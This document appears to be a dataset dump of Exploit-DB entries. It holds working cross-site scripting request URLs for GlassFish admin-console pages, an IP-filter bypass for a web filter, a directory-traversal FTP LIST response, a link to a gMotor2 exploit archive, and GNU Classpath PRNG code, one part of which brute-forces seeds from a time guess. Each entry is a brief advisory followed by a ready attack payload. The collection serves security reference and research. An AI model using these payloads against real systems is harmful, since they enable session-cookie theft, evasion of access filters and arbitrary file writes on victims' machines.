deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31927
Description: GlassFish Application Server - '/Applications/lifecycleModulesNew.jsf' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2008-06-16
Author: Eduardo Jorge

Exploit:
source: https://www.securityfocus.com/bid/29751/info
     
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
http://[HOSTNAME]:4848/applications/lifecycleModulesNew.jsf?propertyForm%3Aprope
rtyContentPage%3ApropertySheet%3ApropertSectionTextField%3AnameProp%3Aname=<scri
pt>alert('xss');</script>&propertyForm%3ApropertyContentPage%3ApropertySheet%3Ap
ropertSectionTextField%3AclassNameProp%3Aclassname=<script>alert('xss2');</scrip
t>&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSectionTextField%
3ApathProp%3AclassPath=&propertyForm%3ApropertyContentPage%3ApropertySheet%3Apro
pertSectionTextField%3AloadOrderProp%3AloadOrder=<script>alert('xss3');</script>
&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSectionTextField%3A
descProp%3Adesc=&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSec
tionTextField%3AstatusProp%3Asun_checkbox8=true&propertyForm%3ApropertyContentPa
ge%3AbottomButtons%3AsaveButton2=++OK++&propertyForm%3AhelpKey=lifecyclemodules.
html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_id117%3Aj_i
d125&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3ApropertyConte
ntPage%3AbottomButtons%3AsaveButton2
Exploit-DB #31922
Description: GlassFish Application Server - '/resourceNode/customResourceNew.jsf' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2008-06-16
Author: Eduardo Jorge

Exploit:
source: https://www.securityfocus.com/bid/29751/info

Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://[HOSTNAME]:4848/resourceNode/customResourceNew.jsf?propertyForm%3Aproper
tyContentPage%3AtopButtons%3AnewButton=++OK++&propertyForm%3ApropertyContentPage
%3ApropertySheet%3ApropertSectionTextField%3AjndiProp%3AJndiNew=%3Cscript%3Ealer
t%28%27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3Aproperty
Sheet%3ApropertSectionTextField%3AresTypeProp%3AresType=%3Cscript%3Ealert%28%27x
ss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%3A
propertSectionTextField%3AfactoryClassProp%3AfactoryClass=%3Cscript%3Ealert%28%2
7xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%
3ApropertSectionTextField%3AdescProp%3Adesc=%3Cscript%3Ealert%28%27xss%27%29%3B%
3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSecti
onTextField%3AstatusProp%3Asun_checkbox9=true&propertyForm%3AhelpKey=customresou
rcescreate.html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_
id276%3Aj_id282&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3Apr
opertyContentPage%3AtopButtons%3AnewButton
Exploit-DB #31923
Description: GlassFish Application Server - '/resourceNode/externalResourceNew.jsf' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2008-06-16
Author: Eduardo Jorge

Exploit:
source: https://www.securityfocus.com/bid/29751/info
 
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://[HOSTNAME]:4848/resourceNode/externalResourceNew.jsf?propertyForm%3Aprope
rtyContentPage%3AtopButtons%3AnewButton=++OK++&propertyForm%3ApropertyContentPag
e%3ApropertySheet%3ApropertSectionTextField%3AjndiProp%3AJndiNew=%3Cscript%3Eale
rt%28%27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3Apropert
ySheet%3ApropertSectionTextField%3AresTypeProp%3AresType=%3Cscript%3Ealert%28%27
xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%3
ApropertSectionTextField%3AfactoryClassProp%3AfactoryClass=%3Cscript%3Ealert%28%
27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet
%3ApropertSectionTextField%3AjndiLookupProp%3AjndiLookup=%3Cscript%3Ealert%28%27
xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%3
ApropertSectionTextField%3AdescProp%3Adesc=%3Cscript%3Ealert%28%27xss%27%29%3B%3
C%2Fscript%3E&propertyForm%3ApropertyContentPage%3ApropertySheet%3ApropertSectio
nTextField%3AstatusProp%3Asun_checkbox9=true&propertyForm%3ApropertyContentPage%
3AhelpKey=externalresourcescreate.html&propertyForm_hidden=propertyForm_hidden&j
avax.faces.ViewState=j_id289%3Aj_id293&com_sun_webui_util_FocusManager_focusElem
entId=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton
Exploit-DB #31928
Description: GlassFish Application Server - '/resourceNode/jdbcConnectionPoolNew1.jsf' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2008-06-16
Author: Eduardo Jorge

Exploit:
source: https://www.securityfocus.com/bid/29751/info
      
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://[HOSTNAME]:4848/resourceNode/jdbcConnectionPoolNew1.jsf?propertyForm%3Apr
opertyContentPage%3AtopButtons%3AnextButton=+Next+&propertyForm%3ApropertyConten
tPage%3ApropertySheet%3AgeneralPropertySheet%3AjndiProp%3Aname=<script>alert('xs
s')</script>&propertyForm%3ApropertyContentPage%3ApropertySheet%3AgeneralPropert
ySheet%3AresTypeProp%3AresType=<script>alert('xss2');</script>&propertyForm%3Apr
opertyContentPage%3ApropertySheet%3AgeneralPropertySheet%3AdbProp%3Adb=<script>a
lert('xss3');</script>&propertyForm%3AhelpKey=jdbcconnectionpoolnew1.html&proper
tyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_id7%3Aj_id34&com_sun_w
ebui_util_FocusManager_focusElementId=propertyForm%3ApropertyContentPage%3AtopBu
ttons%3AnextButton
Exploit-DB #31926
Description: GlassFish Application Server - '/resourceNode/jdbcResourceNew.jsf' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2008-06-16
Author: Eduardo Jorge

Exploit:
source: https://www.securityfocus.com/bid/29751/info
    
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://[HOSTNAME]:4848/resourceNode/jdbcResourceNew.jsf?propertyForm%3ApropertyC
ontentPage%3AtopButtons%3AnewButton=++OK++&propertyForm%3ApropertySheet%3Aproper
tSectionTextField%3AjndiProp%3Ajnditext=<script>alert('xss');</script>&propertyF
orm%3ApropertySheet%3ApropertSectionTextField%3ApoolNameProp%3APoolName=__CallFl
owPool&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AdescProp%3Adesc=
<script>alert('xss3');</script>&propertyForm%3ApropertySheet%3ApropertSectionTex
tField%3AstatusProp%3Asun_checkbox9=true&propertyForm%3AhelpKey=jdbcresourcenew.
html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_id185%3Aj_i
d201&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3ApropertyConte
ntPage%3AtopButtons%3AnewButton
Exploit-DB #31925
Description: GlassFish Application Server - '/resourceNode/jmsConnectionNew.jsf' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2008-06-16
Author: Eduardo Jorge

Exploit:
source: https://www.securityfocus.com/bid/29751/info
   
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://[HOSTNAME]:4848/resourceNode/jmsConnectionNew.jsf?propertyForm%3Aproperty
ContentPage%3AtopButtons%3AnewButton=++OK++&propertyForm%3ApropertySheet%3Agener
alPropertySheet%3AjndiProp%3AJndi=%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscrip
t%3E&propertyForm%3ApropertySheet%3AgeneralPropertySheet%3AresTypeProp%3AresType
=javax.jms.TopicConnectionFactory&propertyForm%3ApropertySheet%3AgeneralProperty
Sheet%3AdescProp%3Acd=%3Cscript%3Ealert%28%27xss2%27%29%3B%3C%2Fscript%3E&proper
tyForm%3ApropertySheet%3AgeneralPropertySheet%3AstatusProp%3Asun_checkbox9=true&
propertyForm%3ApropertySheet%3ApoolSettingsPropertySheet%3AinitSizeProp%3Ads=8&p
ropertyForm%3ApropertySheet%3ApoolSettingsPropertySheet%3AmaxProp%3Ads2=32&prope
rtyForm%3ApropertySheet%3ApoolSettingsPropertySheet%3AresizeProp%3Ads3=2&propert
yForm%3ApropertySheet%3ApoolSettingsPropertySheet%3AidleProp%3Ads=300&propertyFo
rm%3ApropertySheet%3ApoolSettingsPropertySheet%3AmaxWaitProp%3Ads=60000&property
Form%3ApropertySheet%3ApoolSettingsPropertySheet%3Atransprop%3Atrans=&propertyFo
rm%3AbasicTable%3ArowGroup1%3A0%3Acol2%3Acol1St=Password&propertyForm%3AbasicTab
le%3ArowGroup1%3A0%3Acol3%3Acol1St=guest&propertyForm%3AbasicTable%3ArowGroup1%3
A1%3Acol2%3Acol1St=UserName&propertyForm%3AbasicTable%3ArowGroup1%3A1%3Acol3%3Ac
ol1St=guest&propertyForm%3AhelpKey=jmsconnectionnew.html&propertyForm_hidden=pro
pertyForm_hidden&javax.faces.ViewState=j_id226%3Aj_id234&com_sun_webui_util_Focu
sManager_focusElementId=propertyForm%3ApropertyContentPage%3AtopButtons%
Exploit-DB #31924
Description: GlassFish Application Server - '/resourceNode/jmsDestinationNew.jsf' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2008-06-16
Author: Eduardo Jorge

Exploit:
source: https://www.securityfocus.com/bid/29751/info
  
Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://[HOSTNAME]:4848/resourceNode/jmsDestinationNew.jsf?propertyForm%3Apropert
yContentPage%3AtopButtons%3AnewButton=++OK++&propertyForm%3ApropertySheet%3Aprop
ertSectionTextField%3AjndiProp%3AJndi=%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fs
cript%3E&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AnameProp%3Anam
e=%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertyShee
t%3ApropertSectionTextField%3AresTypeProp%3AresType=javax.jms.Topic&propertyForm
%3ApropertySheet%3ApropertSectionTextField%3AdescProp%3Adesc=%3Cscript%3Ealert%2
8%27xss%27%29%3B%3C%2Fscript%3E&propertyForm%3ApropertySheet%3ApropertSectionTex
tField%3AstatusProp%3Acb=true&propertyForm%3AbasicTable%3ArowGroup1%3A0%3Acol2%3
Acol1St=Description&propertyForm%3AbasicTable%3ArowGroup1%3A0%3Acol3%3Acol1St=&p
ropertyForm%3AhelpKey=jmsdestinationnew.html%09&propertyForm_hidden=propertyForm
_hidden&javax.faces.ViewState=j_id242%3Aj_id246&com_sun_webui_util_FocusManager_
focusElementId=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton
Exploit-DB #32980
Description: GlassFish Enterprise Server 2.1 - Admin Console '/configuration/auditModuleEdit.jsf?name' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-05-05
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34824/info
      
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
      
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
      
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/configuration/auditModuleEdit.jsf?name=<IMG SRC=javascript:alert(&#039;DSecRG_XSS&#039;)>
Exploit-DB #32981
Description: GlassFish Enterprise Server 2.1 - Admin Console '/resourceNode/jdbcResourceEdit.jsf?name' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-05-05
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34824/info
       
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
       
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
       
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/resourceNode/jdbcResourceEdit.jsf?name=<IMG SRC=javascript:alert(&#039;DSecRG_XSS&#039;)>
Exploit-DB #32971
Description: GlassFish Enterprise Server 2.1 - Admin Console /applications/applications.jsf URI Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-05-05
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34824/info

GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/applications/applications.jsf?&#039;);};alert("DSecRG_XSS");</script><!--
Exploit-DB #32974
Description: GlassFish Enterprise Server 2.1 - Admin Console /configuration/configuration.jsf URI Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-05-05
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34824/info
 
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
 
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/configuration/configuration.jsf?&#039;);};alert("DSecRG_XSS");</script><!--
Exploit-DB #32975
Description: GlassFish Enterprise Server 2.1 - Admin Console /customMBeans/customMBeans.jsf URI Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-05-05
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34824/info
  
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
  
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/customMBeans/customMBeans.jsf?&#039;);};alert("DSecRG_XSS");</script><!--
Exploit-DB #32977
Description: GlassFish Enterprise Server 2.1 - Admin Console /resourceNode/resources.jsf URI Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-05-05
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34824/info
   
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
   
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
   
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/resourceNode/resources.jsf?&#039;);};alert("DSecRG_XSS");</script><!--
Exploit-DB #32978
Description: GlassFish Enterprise Server 2.1 - Admin Console /sysnet/registration.jsf URI Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-05-05
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34824/info
    
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
    
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
    
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/sysnet/registration.jsf?&#039;);};alert("DSecRG_XSS");</script><!--
Exploit-DB #32979
Description: GlassFish Enterprise Server 2.1 - Admin Console /webService/webServicesGeneral.jsf URI Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2009-05-05
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/34824/info
     
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
     
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
     
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/webService/webServicesGeneral.jsf?&#039;);};alert("DSecRG_XSS");</script><!--
Exploit-DB #24713
Description: Global Spy Software Cyber Web Filter 2 - IP Filter Bypass
Type: remote
Platform: multiple
Date: 2004-10-29
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/11562/info

Global Spy Software Cyber Web Filter is affected by an IP filter bypass vulnerability. This issue is due to a failure of the application to properly handle exceptional HTTP requests.

An attacker may leverage this issue to bypass filters based on IP addresses, allowing an attacker to visit restricted Web sites.

To access the hypothetical IP address 100.100.100.100, the following requests would be used:

http://100.0100.100.100
http://00[PII_REDACTED]0[PII_REDACTED]4.00000144
Exploit-DB #31920
Description: Glub Tech Secure FTP 2.5.15 - 'LIST' Directory Traversal
Type: remote
Platform: multiple
Date: 2008-06-13
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/29741/info

Glub Tech Secure FTP is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. This issue occurs in the FTP client.

Exploiting these issues will allow an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

Secure FTP 2.5.15 for Microsoft Windows is vulnerable; other versions may also be affected.

Response to LIST:

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n
Exploit-DB #30507
Description: gMotor2 Game Engine - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2007-08-18
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25358/info

The gMotor2 game engine is prone to multiple code-execution and denial-of-service vulnerabilities. Four vulnerabilities were reported.

These vulnerabilities may be triggered by malicious client requests to games that use the affected engine, including rFactor. Successful exploits could crash a game server or let remote attackers execute arbitrary code on the computer hosting affected software.

NOTE: This BID originally stated that the vulnerabilities were in the rFactor game. New information shows that the gMotor2 game engine and multiple games that use the engine are vulnerable. This BID was updated to reflect this new information. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30507.zip
Exploit-DB #32673
Description: GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (1)
Type: remote
Platform: multiple
Date: 2008-12-05
Author: Jack Lloyd

Exploit:
source: https://www.securityfocus.com/bid/32909/info

GNU Classpath is prone to a weakness that may result in weaker cryptographic security because its psuedo-random number generator (PRNG) lacks entropy.

Attackers may leverage this issue to obtain sensitive information that can lead to further attacks.

Classpath 0.97.2 is vulnerable; other versions may also be affected. 

import gnu.java.security.util.PRNG;

class PRNGTest {
   public static void main(String args[])
      {
      long t = System.currentTimeMillis();

      System.out.println("Time in ms is " + t);

      PRNG prng = PRNG.getInstance();

      byte buffer[] = new byte[40];

      prng.nextBytes(buffer, 0, buffer.length);

      for(int i = 0; i != buffer.length; ++i)
         {
         // There must be an easier way to do this (right?)
         int intval = buffer[i];

         if(intval <= 0)
            intval += 256;

         String s = Integer.toHexString(intval);

         if(s.length() == 1)
            s = "0" + s;

         System.out.print(s);
         }
      System.out.println("");
      }
   };
Exploit-DB #32674
Description: GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (2)
Type: remote
Platform: multiple
Date: 2008-12-05
Author: Jack Lloyd

Exploit:
source: https://www.securityfocus.com/bid/32909/info
 
GNU Classpath is prone to a weakness that may result in weaker cryptographic security because its psuedo-random number generator (PRNG) lacks entropy.
 
Attackers may leverage this issue to obtain sensitive information that can lead to further attacks.
 
Classpath 0.97.2 is vulnerable; other versions may also be affected. 

#include <botan/init.h>
#include <botan/sha160.h>
#include <botan/loadstor.h>
using namespace Botan;

#include <cstdlib>
#include <ctime>

int main(int argc, char* argv[])
   {
   Botan::LibraryInitializer init;

   // by default start with a guess of 1 minute ago
   u64bit time_guess = (std::time(0) - 60);
   time_guess *= 1000; // convert to ms
   u32bit how_many = 60000; // 60 second range by default

   if(argc >= 2)
      how_many = std::atoi(argv[1]);
   if(argc >= 3)
      time_guess = std::atoi(argv[2]);

   //printf("Starting from %lld up to %d\n", time_guess, how_many);

   SHA_160 sha;

   byte buf[8], hash[40];

   for(u32bit i = 0; i != how_many; ++i)
      {
      Botan::store_be(time_guess, buf);

      // First block
      sha.update(buf, sizeof(buf));
      sha.final(hash);

      sha.update(buf, sizeof(buf));
      sha.update(hash, 20); // previous output
      sha.final(hash + 20);
      /*
      printf("seed=%lld hash=", time_guess);
      for(u32bit j = 0; j != sizeof(hash); ++j)
         printf("%02X", hash[j]);
      printf("\n");
      */
      ++time_guess; // move to next ms
      }
   }